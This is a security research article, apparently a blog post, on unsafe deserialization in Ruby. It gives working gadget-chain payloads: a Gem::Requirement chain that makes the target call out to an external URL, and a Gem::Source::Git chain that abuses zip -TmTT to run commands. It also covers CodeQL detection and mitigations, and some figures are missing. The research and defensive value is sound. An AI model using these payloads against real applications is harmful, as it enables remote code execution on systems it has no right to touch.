JSON as a Command Shell: The Mechanics of Unsafe Deserialization in Ruby
Attackers can execute arbitrary commands on a remote server through nothing more than crafted JSON — but only when the target application contains an unsafe deserialization vulnerability. The core issue isn't the data format; it's how a program reconstructs objects from that data. When deserialization logic blindly trusts input, it can be tricked into instantiating objects that trigger dangerous side effects during or after the parsing process.
This class of vulnerability appears across formats and languages. In Ruby, it affects JSON parsers like Oj, XML handlers like Ox, YAML engines like Psych, and even Ruby's own binary Marshal format. The attack surface is broader than any single method or library — it is a property of deserialization design itself.
Why Object Reconstruction Becomes Dangerous
Safe deserialization converts data into simple, inert values — strings, numbers, arrays, and hashes. Unsafe deserialization, by contrast, reconstructs fully-fledged objects, complete with their class definitions and internal state. That difference matters because object construction in Ruby can invoke callbacks, allocate resources, or execute code as part of initialization.
When an application deserializes untrusted input into arbitrary classes, an attacker controls both the object type and its attributes. A well-known gadget — that is, a class already present in the application or its dependencies — can chain these controlled attributes into a code execution primitive. The attacker never needs to inject shell metacharacters into a command string; they simply supply JSON that maps to the right object graph.
The Role of create_additions and Similar Flags
In the Oj library, the dangerous behavior is gated behind the create_additions option. When this flag is enabled, Oj will attempt to instantiate any class named in the JSON payload via a create class method if one exists. Disabled by default in current versions, the flag becomes a liability when developers enable it for convenience. The parser will then honor embedded class names such as:
{"^o": "ClassName", "attribute": "value"}
Even without that specific flag, an application can still be vulnerable if it calls Oj.load on input that uses other object-expansion formats, such as the ^o or ^O markers that signify object creation.
Realistic Exploit Patterns
The simplest dangerous pattern occurs when code deserializes input and assigns the result to a variable that is later used in a sensitive context, such as a system command. Because the deserializer returns fully-formed objects, an attacker who knows the application's structure can select a class whose attributes flow directly into system() or exec() calls.
A more subtle variant relies on pure data deserialization to a hash followed by unsafe usage. Consider an application that loads user JSON and then performs deep symbol conversion — turning string keys into symbols. Ruby symbols are not garbage collected in the same way as strings; each unique symbol persists for the process lifetime. Sending many unique keys exhausts memory, resulting in a denial-of-service condition. While this is not direct code execution, it is the same underlying trust flaw: treating external data as if it were safe internal configuration.
The highest-impact form, however, is the arbitrary object instantiation chain. In a Rails application, an attacker might leverage the fact that many gems are loaded. By probing with a payload that triggers a harmless object creation and observing the response, an attacker can map which classes are available. Then chaining a known gadget class — like Gem::Requirement with a crafted marshaled payload — leads to command execution. Such an attack requires no presence of a user-facing command injection sink.
Detection Beyond Method Denylists
Because the bug is architectural, a vulnerability scan that merely blocks calls to Marshal.load or Oj.load is insufficient. The danger depends on what the application does with the deserialized data. A deserialized object passed to system() is a clear sink; but a deserialized object stored in a session and later used as a method receiver may be just as exploitable, albeit through an indirect path that static analysis must trace.
In real Ruby projects, the vulnerable pattern frequently appears in three places:
- Custom API endpoints that accept a serialized payload and parse it with object-creation enabled.
- Caching layers that store and retrieve arbitrary objects (e.g., with
Marshal.dump/Marshal.load), where an attacker who can poison the cache controls what gets loaded. - Background job processors that store job arguments as JSON or YAML and reconstruct them on the worker side.
Each scenario shares the same core flaw: the deserializer reconstructs objects whose types are derived from the untrusted input rather than from a trust allowlist.
The Path to Reliable Detection
Because this is a dataflow problem — uncontrolled input reaches a deserializer that produces objects whose attributes reach a privileged operation — it is best identified with interprocedural static analysis. Tools that track data flow from HTTP parameters, file reads, or message queue consumers into a deserialization sink and then on into a command execution sink can catch the destructive cases. The most difficult ones to identify automatically are those that rely on gadget chains reaching dangerous methods from within well-known gem code.
A practical detection strategy combines sink analysis with reachability: flag every occurrence of a dangerous deserializer, then determine which of those are reachable from untrusted sources. For each reachable occurrence, compute the set of classes that could be instantiated including dynamically loaded gems, and check for presence of dangerous methods reachable within those classes. False positives are fewer than with simple denylists, because the analysis has a concrete notion of what the attacker could achieve given the actual code structure.
A Working Reference
To make these concepts concrete, a companion repository contains functional exploits targeting Oj (JSON), Ox (XML), Psych (YAML), and Marshal (binary) — each payload demonstrating how a controlled file read or command execution can be achieved when an application deserializes untrusted data unsafely. These samples reinforce the core observation: it is a mistake to think of the vulnerability as a property of a particular library version or format. The vulnerability exists in how the programmer chooses to deserialize data, and any serialization format that can express type information carries the same risk.
The fix is a design decision. Restrict deserialization to a small allowlist of types, disable object creation flags globally, and never feed untrusted bytes to an expansible reader. Code audits and static analyzers have a role, but they are complements — not substitutes — for an application architecture that does not hand attackers control over which objects come into existence.
Triggering Oj with hash
Oj does not call Ruby's _load magic method (the Marshal analogue to Java's readObject) during deserialization. The instantiation process is simpler: Oj creates the object without invoking a constructor, then fills fields directly, bypassing setters. So how does an attacker get code to execute at all? The answer lies in Ruby's hash method, which the deserializer invokes on key objects when it inserts key-value pairs into a hash map.
This table shows the kick-off methods for popular Ruby serialization libraries:
Library
Input data
Kick-off method inside class
Marshal (Ruby)
Binary
_load
Oj
JSON
hash (class needs to be put into hash(map) as key)
Ox
XML
hash (class needs to be put into hash(map) as key)
Psych (Ruby)
YAML
hash (class needs to be put into hash(map) as key)init_with
JSON (Ruby)
JSON
json_create ([see notes regarding json_create at end](#table-vulnerable-sinks))
A minimal proof of concept demonstrates the mechanism. Consider a class that executes a command stored in an instance variable when hash is called:
class SimpleClass
def initialize(cmd)
@cmd = cmd
end
def hash
system(@cmd)
end
end
In a real vulnerability, the constructor would not run during deserialization, so an attacker cannot rely on it. For testing, the constructor is useful to generate a payload and dump the resulting JSON:
require 'oj'
simple = SimpleClass.new("open -a calculator") # command for macOS
json_payload = Oj.dump(simple)
puts json_payload
Note: while it might make sense to directly serialize single gadgets, serializing or even just debugging a whole gadget chain is typically dangerous as it might trigger the execution of the chain during the serialization process (which won’t give you the expected result, but you’ll “exploit” your own system).
The payload JSON looks like this:
{
"^o": "SimpleClass",
"cmd": "open -a calculator"
}
Loading this JSON with Oj.load does nothing — nobody calls hash automatically:
data = Oj.load(json_payload)
The trigger only fires when the malicious object is placed as the key in a hash map entry within the serialized data. Packaging the payload that way yields this JSON structure, with the value left as "any":
Now, merely loading the JSON triggers the command:
Oj.load(json_payload)

Assembling a practical gadget chain
Realistic targets will not contain a conveniently malicious SimpleClass. Attackers must work with classes available in Ruby itself or in the project's dependencies. Building a chain requires bridging a hash call to a useful method like to_s.
RubyGems' Gem::Requirement class provides that bridge. Its hash method contains a call to to_s:
def hash # :nodoc:
requirements.map {|r| r.first == "~>" ? [r[0], r[1].to_s] : r }.sort.hash
end
This code calls to_s on a nested gadget under specific conditions:
- There must be an array of
requirementsthat can be transformed with themapfunction. - Within that array, a nested array's first element must equal the string
"~>". - The second element (
r[1]) holds the next gadget, andto_sis invoked on it.
Expressed in Oj's JSON serialization format:
[ ["~>", <INNER_GADGETS> ] ]
From there, the chain continues into Gem::RequestSet::Lockfile. When to_s is called on a Lockfile object, it invokes the spec_groups method on the same instance:
def to_s
out = []
groups = spec_groups
[..]
spec_groups iterates over the result of the requests method, which returns the sorted_requests field of a RequestSet. (Prior to Ruby 3.3, this field was named sorted.)
def spec_groups
requests.group_by {|request| request.spec.class }
end
For each request, Ruby calls the spec method on the inner Gem::Resolver::IndexSpecification class. That call eventually leads to fetch_spec on a Gem::Source object, which in turn invokes fetcher.fetch_path with a source_uri:
def fetch_spec(name_tuple)
fetcher = Gem::RemoteFetcher.fetcher
spec_file_name = name_tuple.spec_name
source_uri = enforce_trailing_slash(uri) + "#{Gem::MARSHAL_SPEC_DIR}#{spec_file_name}"
[..]
source_uri.path << ".rz"
spec = fetcher.fetch_path source_uri
[..]
end
The source_uri is constructed from the source object's internal uri attribute, normally a URI::HTTP object with an http or https scheme. A standard URI, however, would be parsed in a way that prevents full control over the final URL path. To work around this, the chain uses an unusual scheme: s3. The host is then set to the full target URL with a trailing question mark, as shown here:
{
"^o": "URI::HTTP",
"scheme": "s3",
"host": "example.org/anyurl?",
"port": "anyport","path": "/", "user": "anyuser", "password": "anypw"
}
The resulting uri attribute looks corrupted on its face:
Yet the complete source_uri handed to fetcher.fetch_path is what matters:
Because the scheme is s3, the RemoteFetcher calls fetch_s3, which signs the URL with the provided credentials and converts it to HTTPS before calling fetch_https:
During that conversion, the host and port are normalized, but the attacker-controlled path content survives intact after the question mark that starts the query string. The desired external URL is thus requested verbatim:
#<URI::HTTPS https://example.org/anyurl?.s3.us-east-1.amazonaws.com/quick/Marshal.4.8/-.gemspec.rz?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=anyuser%2F20240412%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20240412T120426Z&X-Amz-Expires=86400&X-Amz-SignedHeaders=host&X-Amz-Signature=fd04386806e13500de55a3aec222c2de9094cba7112eb76b4d9912b48145977a>
After fetch_https fires, the Source class tries to inflate and store the downloaded content. For detection purposes, the chain is best ended at the request itself — if the target fetches data and the code proceeds further, errors on parsing may occur. Placing this chain inside a vulnerable Oj.load sink produces a GET request to the chosen URL, which can be observed with a service like Burp Collaborator or Canarytokens:
A successful callback proves the application is vulnerable to executing the deserialization gadget. Note that this detection technique will not work if the system blocks outbound connections or restricts them through an allow list.
The full chain moves from a hash call on Gem::Requirement through a Lockfile and RequestSet and eventually to fetch_path on a Gem::Source object:
From Detection to Remote Code Execution
Once we confirmed unsafe deserialization with a detection gadget, the next question is whether a full remote code execution (RCE) chain is feasible. A widely known Marshal-based chain from April 2022 achieved RCE against Ruby 3.0.2 projects, but that approach broke around Ruby 3.2, and Ruby 3.3 introduced additional obstacles. Both needed to be addressed to reach RCE under Ruby 3.3.
The classic chain leverages Gem::Source::Git to run commands through its rev-parse method, invoked via add_GIT in Gem::RequestSet::Lockfile. That method eventually calls Util.popen, which is a thin wrapper over IO.popen—a textbook command injection sink. The command is built from attacker-controlled member variables @git and @reference, alongside the hard-coded rev-parse argument:
def rev_parse # :nodoc:
hash = nil
Dir.chdir repo_cache_dir do
hash = Gem::Util.popen(@git, "rev-parse", @reference).strip
end
[..]
end
The problem lies in the path construction. rev_parse first changes into repo_cache_dir, which is derived from the @root_dir variable, static folder names (cache, bundler, git), and a folder combining @name with a SHA-1 hash of @repository:
def repo_cache_dir # :nodoc:
File.join @root_dir, "cache", "bundler", "git", "#{@name}-#{uri_hash}"
end
This yields paths of the form:
@root_dir/cache/bundler/git/@name-SHA1(@repository)
Either we must know an existing folder matching that pattern on the target system—unlikely given the name/hash combination—or we must create the folder ourselves. This is where the fetch-and-inflate behavior of the detection gadget proves useful. The fetch_spec method of Gem::Source calls mkdir_p on the cache directory after successfully retrieving and inflating a file from a given URI:
def fetch_spec(name_tuple)
[..]
cache_dir = cache_dir source_uri
local_spec = File.join cache_dir, spec_file_name
[..]
spec = fetcher.fetch_path source_uri
spec = Gem::Util.inflate spec
if update_cache?
require "fileutils"
FileUtils.mkdir_p cache_dir
File.open local_spec, "wb" do |io|
io.write spec
end
end
[..]
end
Since the cache directory combines cache_dir with the supplied source_uri, and S3-style URLs allow URL shenanigans that other schemes don't, we can point to a valid inflatable file hosted on Rubygems.org such that the resulting directory structure matches what rev-parse requires:
{
"^o": "URI::HTTP",
"scheme": "s3",
"host": "rubygems.org/quick/Marshal.4.8/bundler-2.2.27.gemspec.rz?",
"port": "/../../../../../../../../../../../../../tmp/cache/bundler/git/anyname-a3f72d677b9bbccfbe241d88e98ec483c72ffc95/
",
"path": "/", "user": "anyuser", "password": "anypw"
}
This creates the folder path:
/tmp/cache/bundler/git/anyname-a3f72d677b9bbccfbe241d88e98ec483c72ffc95/
The SHA-1 hash a3f72d677b9bbccfbe241d88e98ec483c72ffc95 corresponds to the string anyrepo, which we'll need for crafting the Git object later. The original exploit embedded deflated commands in a .rc file and executed them in three steps:
- Download the
.rcfile containing deflated commands. - Run
tee rev-parsewith the inflated file's contents as input, creating a file namedrev-parsethat contains the actual commands. - Execute
sh rev-parseto run the deployed payload.
This approach ceased working around Ruby 3.2.2, because the strip method inside rev-parse began raising an error:
`strip': invalid byte sequence in UTF-8 (Encoding::CompatibilityError)
The New Constraint
We now need an alternative method of executing arbitrary commands, given a constrained execution skeleton:
<arbitrary-bin> rev-parse <arbitrary-second-argument>
The rules are:
- The binary and its second argument are freely selectable.
- The first argument is fixed as
rev-parse. - The output of this
popencall should be UTF-8 readable on Linux to support follow-up executions. - Multiple
popencalls are allowed with different binaries and arguments, as long as only the final invocation's combination may fail. - A stream can also be supplied as the second argument.
Working Around the Fixed Argument
GTFOBins—a curated list of Unix binaries that can be abused for privilege escalation—offers a path forward. Many distributions include the zip utility, which supports shell command execution via its -TT (--unzip-command) flag when combined with -T. (Note that zip behavior varies on some macOS versions.)
Two issues remain. First, the hard-coded first argument rev-parse won't work with -T/-TT unless a zip archive named rev-parse exists. Second, only one argument besides the binary can be supplied, but both -T and -TT are needed.
The first problem is trivially solved by crafting a zip file named rev-parse beforehand. The archive's contents are irrelevant; /etc/passwd is a safe choice on Unix systems:
zip rev-parse /etc/passwd
For the second issue, the flags can be merged into a single argument. By using -TmTT (where m is a mandatory digit for the compression level, as documented in argument-injection references), the fixed first argument is handled elegantly:
zip rev-parse -TmTT="$(id>/tmp/anyexec)"
This invokes id and redirects the output to /tmp/anyexec.
Full RCE Chain Assembly
The complete gadget chain therefore executes three steps:
- Download a deflatable
.rcfile to trigger folder creation. - Run
ziponce to create an archive namedrev-parse. - Run
zipa second time to execute the chosen command.
The final zip invocation, expressed as JSON:
{
"^o": "Gem::Resolver::SpecSpecification",
"spec": {
"^o": "Gem::Resolver::GitSpecification",
"source": {
"^o": "Gem::Source::Git",
"git": "zip",
"reference": "-TmTT=\"$(id>/tmp/anyexec)\"",
"root_dir": "/tmp",
"repository": "anyrepo",
"name": "anyname"
},
"spec": {
"^o": "Gem::Resolver::Specification",
"name": "name",
"dependencies": []
}
}
}
The result confirms successful command execution; id output lands in /tmp/anyexec:
The complete gadget chain for review is available in the accompanying repository, enabling arbitrary command execution against vulnerable Ruby projects.
Static Detection with Source Access
When source code is available, CodeQL offers a far more direct path. The deserialization of user-controlled data query flags locations where untrusted input flows into unsafe deserialization sinks. Results integrate directly into GitHub's code scanning interface:
For a raw listing of vulnerable sinks without full flow analysis, open the UnsafeDeserializationQuery.qll query in Visual Studio Code with the CodeQL extension installed and run "Quick Evaluation: isSink":
This returns every insecure deserialization sink in a CodeQL database of your project. More details on this sink-finding methodology appear in the CodeQL zero to hero series, part three.
Sinks by Library
The exploit chains developed here were validated against Ruby up to 3.3.3 (June 2024). The accompanying repository contains exploits for four deserialization libraries:
- Oj (JSON)
- Ox (XML)
- Ruby YAML/Psych (when used unsafely)
- Ruby Marshal (custom binary format) *
The Marshal variant is the exception: it only works up to Ruby 3.2.4 (April 2024) due to the strip error mentioned above.
The table below lists sinks useful for manual review. GitHub's code scanning/CodeQL already identifies all of these sinks automatically:
| Library | Unsafe Sinks | Input data | Remark |
| Oj |
Oj.load (if no safe mode is used) Oj.object_load |
JSON | Safe mode available |
| Ox |
Ox.parse_obj Ox.load (if the unsafe object mode is used) |
XML | (un)safe mode available |
| Psych (Ruby) | YAML.load (for older Ruby/Psych versions) *, YAML.unsafe_load | YAML | * Since Psych 4.0 no arbitrary Ruby classes are instantiated when YAML.load is used.Ruby 3.1 (released in December 2021) depends on Psych 4.0 by default. |
| Marshal (Ruby) | Marshal.load | Binary | Should be avoided as a serialization format. |
| JSON (Ruby) | JSON.load ** | JSON | ** Only a limited set of classes that have a json_create method defined can be used. Due to this constraint there seems to exist no gadget chain as part of Ruby or Rails that allows arbitrary code/command execution. |
Conclusion
Unsafe deserialization in Ruby can be detected and exploited through two complementary approaches. With source code at hand, GitHub code scanning with CodeQL provides the fastest detection; for deeper manual analysis, the CodeQL extension for Visual Studio Code exposes all sinks directly. Without source access, the detection gadgets described in this post call out to a user-specified URL to identify vulnerable applications remotely. The RCE chain described here is intended for controlled lab environments only, and complete exploit chains for Marshal, YAML, Oj, and Ox are available in the accompanying repository.



